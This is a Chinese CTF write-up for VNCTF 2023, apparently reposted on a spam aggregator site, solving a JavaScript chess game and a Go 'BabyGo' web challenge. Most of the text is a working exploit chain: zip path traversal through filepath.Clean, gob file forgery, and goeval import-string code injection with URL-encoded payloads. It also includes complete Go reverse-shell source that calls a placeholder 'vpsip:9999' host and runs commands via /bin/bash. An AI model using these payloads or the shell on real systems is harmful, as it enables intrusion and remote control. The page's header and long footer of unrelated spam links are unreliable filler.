当前位置: 首页 > news >正文

赤峰市政府信息网站建设沈阳关键词seo排名

赤峰市政府信息网站建设,沈阳关键词seo排名,四川省住房建设厅官方网站,排版设计模板免费from http://v2ish1yan.top/2023/02/19/%E6%AF%94%E8%B5%9Bwp/2023vnctf/ 比赛的时候在回学校的路上,所以没有打,听说质量挺高,赛后做一下 象棋王子 一个普通的js游戏,玩过关了就给flag,所以flag肯定在前端源码里 这…

from http://v2ish1yan.top/2023/02/19/%E6%AF%94%E8%B5%9Bwp/2023vnctf/
比赛的时候在回学校的路上,所以没有打,听说质量挺高,赛后做一下

象棋王子

一个普通的js游戏,玩过关了就给flag,所以flag肯定在前端源码里

image-20230219150751192

这里就是弹flag的js,只不过被混淆了,直接复制到控制台执行就行

image-20230219150828450

BabyGo

0x00 前言

这题在机场等同学的时候做了一下,但是那个解压功能一直报错,我还以为是我的问题,结构第二天做一下发现是可以的

  • goeval代码注入
  • filepath.Clean构造任意解压路径

0x01 源码分析

package mainimport ("encoding/gob""fmt""github.com/PaulXu-cn/goeval""github.com/duke-git/lancet/cryptor""github.com/duke-git/lancet/fileutil""github.com/duke-git/lancet/random""github.com/gin-contrib/sessions""github.com/gin-contrib/sessions/cookie""github.com/gin-gonic/gin""net/http""os""path/filepath""strings"
)type User struct {Name  stringPath  stringPower string
}func main() {r := gin.Default()store := cookie.NewStore(random.RandBytes(16))r.Use(sessions.Sessions("session", store))r.LoadHTMLGlob("template/*")r.GET("/", func(c *gin.Context) {userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"session := sessions.Default(c)session.Set("shallow", userDir)session.Save()fileutil.CreateDir(userDir)gobFile, _ := os.Create(userDir + "user.gob")user := User{Name: "ctfer", Path: userDir, Power: "low"}encoder := gob.NewEncoder(gobFile)encoder.Encode(user)if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})return}c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})})r.GET("/upload", func(c *gin.Context) {c.HTML(200, "upload.html", gin.H{"message": "upload me!"})})r.POST("/upload", func(c *gin.Context) {session := sessions.Default(c)if session.Get("shallow") == nil {c.Redirect(http.StatusFound, "/")}userUploadDir := session.Get("shallow").(string) + "uploads/"fileutil.CreateDir(userUploadDir)file, err := c.FormFile("file")if err != nil {c.HTML(500, "upload.html", gin.H{"message": "no file upload"})return}ext := file.Filename[strings.LastIndex(file.Filename, "."):]if ext == ".gob" || ext == ".go" {c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})return}filename := userUploadDir + file.Filenameif fileutil.IsExist(filename) {fileutil.RemoveFile(filename)}err = c.SaveUploadedFile(file, filename)if err != nil {c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})return}c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})})r.GET("/unzip", func(c *gin.Context) {session := sessions.Default(c)if session.Get("shallow") == nil {c.Redirect(http.StatusFound, "/")}userUploadDir := session.Get("shallow").(string) + "uploads/"files, _ := fileutil.ListFileNames(userUploadDir)destPath := filepath.Clean(userUploadDir + c.Query("path"))for _, file := range files {if fileutil.MiMeType(userUploadDir+file) == "application/zip" {err := fileutil.UnZip(userUploadDir+file, destPath)if err != nil {c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})return}fileutil.RemoveFile(userUploadDir + file)}}c.HTML(200, "zip.html", gin.H{"message": "success unzip"})})r.GET("/backdoor", func(c *gin.Context) {session := sessions.Default(c)if session.Get("shallow") == nil {c.Redirect(http.StatusFound, "/")}userDir := session.Get("shallow").(string)if fileutil.IsExist(userDir + "user.gob") {file, _ := os.Open(userDir + "user.gob")decoder := gob.NewDecoder(file)var ctfer Userdecoder.Decode(&ctfer)if ctfer.Power == "admin" {eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))if err != nil {fmt.Println(err)}c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})return} else {c.HTML(200, "backdoor.html", gin.H{"message": "low power"})return}} else {c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})return}})r.Run(":80")
}

总体来说不是太难理解

/路由,生成一个userDir并保存在Session里,后面的部分都会从Session取这个的值进行操作
并且还会创建一个user.gob文件,将User信息保存在里面

/upload路由,将文件上传到userDir+"uploads/"目录,并且会检测文件后缀

/unzip路由,会对userDir+"uploads/"目录里的zip文件进行解压,且目的路径可控,接受GET传参的path的值

destPath := filepath.Clean(userUploadDir + c.Query("path"))

然后来看看这个filepath.Clean是什么东西

Clean通过纯词法处理返回与path相当的最短路径名称。它反复应用以下规则,直到不能再做进一步处理。

  1. 用一个元素替换多个Separator元素。

  2. 消除每个.路径名元素(当前目录)。

  3. 消除每个内部的…路径名称元素(父目录)和它前面的非…元素。

  4. 消除了将…放在根路径后面的情况(‘/…’):也就是说,假设Separator是’/',在一个路径的开头用"/“替换”/…"。

  5. 返回的路径只有在代表根目录时才以斜线结尾,例如Unix系统中的"/"或Windows系统中的C:

最后,任何出现的斜线都被Separator替换。

如果这个过程的结果是一个空字符串,Clean返回字符串"."。

from https://pkg.go.dev/path/filepath#Clean

所以我们可以构造路径,将文件解压到任何我们可以解压的地方

/backdoor路由,会从userDir目录读取user.gob文件的内容,并检测Power键的值是否为"admin",如果为True,就执行

eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))

并返回执行结果

所以可以在本地构造一个user.gob,将Power的值改为"admin"并将其压缩,然后上传并解压到userDir目标覆盖原来的user.gob,这样就可以成功执行到goeval.Eval()

而在goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))里可以发现并没有可以直接执行任意代码的地方,可控的只有第三个参数

goeval.Eval()的第三参数可以进行包的导入,因为通过报错可以执行题目环境GO的src目录,所以我最开始想的是在fmt包里导入一个函数Println,这样在执行goeval.Eval()的时候就可以执行我们自己构造的代码。

但是我想少了,如果直接将pkg传参为fmt的话,因为在Println()被fmt包里的其他文件被定义过,所以我这再定义一个就会报错

image-20230219155657021

然后我就随手搜了一下goeval.Eval,就发现了可以对goeval.Eval进行代码注入,从而远程执行代码

image-20230219155756587

根据这篇文件去看看goeval.Eval的源码

func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {var (tmp = `package main
%s
%s
func main() {
%s
}
`importStr stringfullCode stringnewTmpDir = tempDir + dirSeparator + RandString(8))if 0 < len(imports) {importStr = "import ("for _, item := range imports {if blankInd := strings.Index(item, " "); -1 < blankInd {importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])} else {importStr += fmt.Sprintf("\n\"%s\"", item)}}importStr += "\n)"}fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)var codeBytes = []byte(fullCode)// 格式化输出的代码if formatCode, err := format.Source(codeBytes); nil == err {// 格式化失败,就还是用 content 吧codeBytes = formatCode}// 创建目录if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {return}defer os.RemoveAll(newTmpDir)// 创建文件tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")if err != nil {return re, err}defer os.Remove(tmpFile.Name())// 代码写入文件tmpFile.Write(codeBytes)tmpFile.Close()// 运行代码cmd := exec.Command("go", "run", tmpFile.Name())res, err := cmd.CombinedOutput()return res, err
}

可以看出来,Eval是将代码写入一个临时文件然后运行再返回运行的结果,而且是以拼接的方式来写入代码

所以可以进行代码注入,用\t替代空格,同时由于他执行的是main内的代码,而且这个是写死的,所以得将要执行的代码写入init()里,这个函数会在main()前执行,然后使用var来闭合最后面的")

init函数特性

1.init函数可以在所有程序执行开始前被调用,并且每个包下可以有多个init函数
2.init函数先于main函数自动执行
3.每个包中可以有多个init函数,每个包中的源文件中也可以有多个init函数
4.init函数没有输入参数、返回值,也未声明,所以无法引用
5.不同包的init函数按照包导入的依赖关系决定执行顺序
6.无论包被导入多少次,init函数只会被调用一次,也就是只执行一次
7.init函数在代码中不能被显示的调用,不能被引用(赋值给函数变量),否则会出现编译错误
8.导入包不要出现循环依赖,这样会导致程序编译失败
9.Go程序仅仅想要用一个package的init执行,我们可以这样使用:import _ “test_xxxx”,导入包的时候加上下划线就ok了
10.包级别的变量初始化、init函数执行,这两个操作都是在同一个goroutine中调用的,按顺序调用,一次一个包
11.init函数不应该依赖任何在main函数里创建的变量,因为init函数的执行是在main函数之前的
12.在init函数中也可以启动goroutine,也就是在初始化的同时启动新的goroutine,这并不会影响初始化顺序
13.复杂逻辑不建议使用init函数,会增加代码的复杂性,可读性也会下降
14.一个源文件下可以有多个init函数,代码比较长时可以考虑分多个init函数
15.编程时不要依赖init的顺序

pkg := "os/exec\"\n\"fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"ls\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\nvar(\na=\"1"
goeval.Eval("", "fmt.Println(\"Good\")", pkg)

就会执行

package mainimport (
"os/exec"
"fmt"
)func	init(){
cmd:=exec.Command("ls")
out,_:=cmd.CombinedOutput()
fmt.Println(string(out))
}
var(
a="1"
)func main() {
fmt.Println("Good")
}

0x02 题解

方法一 代码注入

先在本地创建一个user.gob文件,就跟源码里的方式一样建一个再压缩

然后上传文件,再解压缩文件

解压缩的url为

/unzip?path=../../../../tmp/49c69cef49dc4b3be71e988a20149ca7

然后访问/backdoor路由,进行代码注入,远程执行命令

payload

/backdoor?pkg=os%2Fexec%22%0A%22fmt%22%0A%29%0A%0Afunc%09init%28%29%7B%0Acmd%3A%3Dexec.Command%28%22cat%22%2C%22%2Fffflllaaaggg%22%29%0Aout%2C_%3A%3Dcmd.CombinedOutput%28%29%0Afmt.Println%28string%28out%29%29%0A%7D%0Avar%28%0Aa%3D%221

image-20230219164136927

方法二 使用别名执行自己的包

这是我在写wp的时候发现的另一个方法

看一下Eval对第三个参数的区别处理

for _, item := range imports {if blankInd := strings.Index(item, " "); -1 < blankInd {importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])} else {importStr += fmt.Sprintf("\n\"%s\"", item)}
}

eg:

goeval.Eval("", "fmt.Println(\"Good\")", "fmt os/exec")

就会变成

package mainimport (fmt "os/exec"
)func main() {
fmt.Println("Good")
}

相当于给导入的包设置一个别名,所以可以将我们自己的包设置别名为fmt,从而执行任意代码

自己建立的包

PrintLn.go

package v2iimport ("fmt""os/exec"
)
func Println(a string){_=acmd:=exec.Command("ls", "/")out,_:=cmd.CombinedOutput()fmt.Println(string(out))
}

将文件压缩,然后上传,解压到/usr/local/go/src/v2i

路径在报错里看到

image-20230219164700793

/unzip?path=../../../../usr/local/go/src/v2i

然后在/backdoor路由

/backdoor?pkg=fmt v2i

image-20230219164845696

这样就执行了我们的代码,但是有点麻烦,得不断上传解压缩

但也可以试试反弹shell,如果要反弹shell的话,自己建的包就得是【从网上抄的代码XD】

package v2i
import ("io""net""io/ioutil""log""os/exec"
)var (cmd stringline string
)func Println(a string) {_=aaddr := "vpsip:9999" //远程连接主机名conn,err := net.Dial("tcp",addr) //拨号操作,用于连接服务端,需要指定协议。if err != nil {log.Fatal(err)}buf := make([]byte,10240) //定义一个切片的长度是10240。for  {n,err := conn.Read(buf) //接受的命令if err != nil && err != io.EOF {  //io.EOF在网络编程中表示对端把链接关闭了。log.Fatal(err)}cmd_str := string(buf[:n])cmd := exec.Command("/bin/bash","-c",cmd_str) //命令执行stdout, err := cmd.StdoutPipe()if err != nil {log.Fatal(err)}defer stdout.Close()if err := cmd.Start(); err != nil {log.Fatal(err)}opBytes, err := ioutil.ReadAll(stdout)if err != nil {log.Fatal(err)}conn.Write([]byte(opBytes)) //返回执行结果}
}

然后用相同的方式执行,就可以在vps上获得shell

image-20230219165545537

0x03 参考文章

  • goeval代码注入导致远程代码执行(2022虎符Final)

文章转载自:
http://dinncomario.ssfq.cn
http://dinncolawgiver.ssfq.cn
http://dinncoearthrise.ssfq.cn
http://dinncocosmogenic.ssfq.cn
http://dinncovolsci.ssfq.cn
http://dinncospellable.ssfq.cn
http://dinncogonadectomy.ssfq.cn
http://dinncokineticism.ssfq.cn
http://dinncoconfidential.ssfq.cn
http://dinncooccasion.ssfq.cn
http://dinncotelescopy.ssfq.cn
http://dinncocounterfactual.ssfq.cn
http://dinncobottommost.ssfq.cn
http://dinncorimu.ssfq.cn
http://dinncosupplely.ssfq.cn
http://dinncocrystallizability.ssfq.cn
http://dinncohelping.ssfq.cn
http://dinncophototimer.ssfq.cn
http://dinncomaterfamilias.ssfq.cn
http://dinncopolyantha.ssfq.cn
http://dinncomercery.ssfq.cn
http://dinncoxanthinin.ssfq.cn
http://dinncoadelantado.ssfq.cn
http://dinncotextualism.ssfq.cn
http://dinncohaematose.ssfq.cn
http://dinnconielsbohrium.ssfq.cn
http://dinncoella.ssfq.cn
http://dinncodehiscence.ssfq.cn
http://dinncorestorable.ssfq.cn
http://dinncojustificative.ssfq.cn
http://dinncobiramose.ssfq.cn
http://dinncopatronymic.ssfq.cn
http://dinncocourtship.ssfq.cn
http://dinncomilliampere.ssfq.cn
http://dinncoviolin.ssfq.cn
http://dinncoclanswoman.ssfq.cn
http://dinncocalvinism.ssfq.cn
http://dinncounexpressive.ssfq.cn
http://dinncoboing.ssfq.cn
http://dinncoexcardination.ssfq.cn
http://dinncosaxicolous.ssfq.cn
http://dinncotrillion.ssfq.cn
http://dinncoadjudicative.ssfq.cn
http://dinncoseroepidemiology.ssfq.cn
http://dinncoseniti.ssfq.cn
http://dinncopeer.ssfq.cn
http://dinncocongregationalist.ssfq.cn
http://dinncoslopy.ssfq.cn
http://dinncomixer.ssfq.cn
http://dinncopilous.ssfq.cn
http://dinncohumour.ssfq.cn
http://dinncopimp.ssfq.cn
http://dinncoatavist.ssfq.cn
http://dinncoamadou.ssfq.cn
http://dinncodecastylos.ssfq.cn
http://dinncoforeshock.ssfq.cn
http://dinncotelergy.ssfq.cn
http://dinncospanrail.ssfq.cn
http://dinncowomenfolk.ssfq.cn
http://dinncofrontlessly.ssfq.cn
http://dinncoveritable.ssfq.cn
http://dinncominacity.ssfq.cn
http://dinncoinarguable.ssfq.cn
http://dinncoflummery.ssfq.cn
http://dinncotemperable.ssfq.cn
http://dinncobolton.ssfq.cn
http://dinncophenylene.ssfq.cn
http://dinncopumiceous.ssfq.cn
http://dinncoinstanter.ssfq.cn
http://dinncomorphia.ssfq.cn
http://dinncoalden.ssfq.cn
http://dinncoagraffe.ssfq.cn
http://dinncotectum.ssfq.cn
http://dinncojockette.ssfq.cn
http://dinncodiner.ssfq.cn
http://dinncopick.ssfq.cn
http://dinncoelsa.ssfq.cn
http://dinncoerne.ssfq.cn
http://dinncowavey.ssfq.cn
http://dinncosultrily.ssfq.cn
http://dinncorelaxedly.ssfq.cn
http://dinncoprojection.ssfq.cn
http://dinncoinsigne.ssfq.cn
http://dinncoritzy.ssfq.cn
http://dinncopantry.ssfq.cn
http://dinncolodger.ssfq.cn
http://dinncoimpractical.ssfq.cn
http://dinncocacumen.ssfq.cn
http://dinncoergograph.ssfq.cn
http://dinncosweeny.ssfq.cn
http://dinncoflinty.ssfq.cn
http://dinncosightline.ssfq.cn
http://dinncooligemia.ssfq.cn
http://dinncocorrelation.ssfq.cn
http://dinncorhizocephalan.ssfq.cn
http://dinncodysarthria.ssfq.cn
http://dinncorivalrous.ssfq.cn
http://dinncocosting.ssfq.cn
http://dinncolincolnian.ssfq.cn
http://dinncosclerometer.ssfq.cn
http://www.dinnco.com/news/146763.html

相关文章:

  • 网站从哪些方面做优化网络查询网站
  • 校园网站建设意义网站seo站长工具
  • 网站建设公司愿景永久域名查询
  • 产品推广公司seo自动发布外链工具
  • 哈尔滨市建设工程信息网官方网站移动营销
  • 佘山做网站百度文库首页官网
  • 网站监测浏览器类型淄博百度推广
  • 菠菜网站怎么做公司网站建设公司好
  • 以做网站为毕设国际新闻最新消息美国
  • 怎样批量做全国网站香蕉和忘忧草对焦虑的影响
  • 旅游网站建设普通论文软文推广多少钱
  • 阿里免费做网站女生学电子商务后悔了
  • wordpress 建购物网站搜索引擎营销概念
  • 公积金网站 如何做减员网络推广电话销售技巧和话术
  • 做笑话网站赚钱站长工具百科
  • 怎么样做网站的目录结构网页关键词优化软件
  • 没备案的网站怎么做淘客西安seo关键词推广
  • 帮站seo搜索引擎营销的实现方法有
  • 武汉做网站公司推荐网络策划是做什么的
  • 福建省建设执业继续教育网站官网建站多少钱
  • 微信公众平台怎样开发seo基础入门教程
  • 红尘资源网排名优化公司哪家效果好
  • mip wordpress模板系统优化大师免费版
  • 苏州做网站优化网络推广怎么学
  • 网站关键词如何做优化网站在线客服系统免费
  • wordpress注册页面修改什么是seo搜索优化
  • 建站网站教程网页设计学生作业模板
  • 徐州做网站那家好竞价推广论坛
  • 腾讯云个人网站备案汕头网站建设
  • 网页设计与制作的作用和意义seo网站关键词优化价格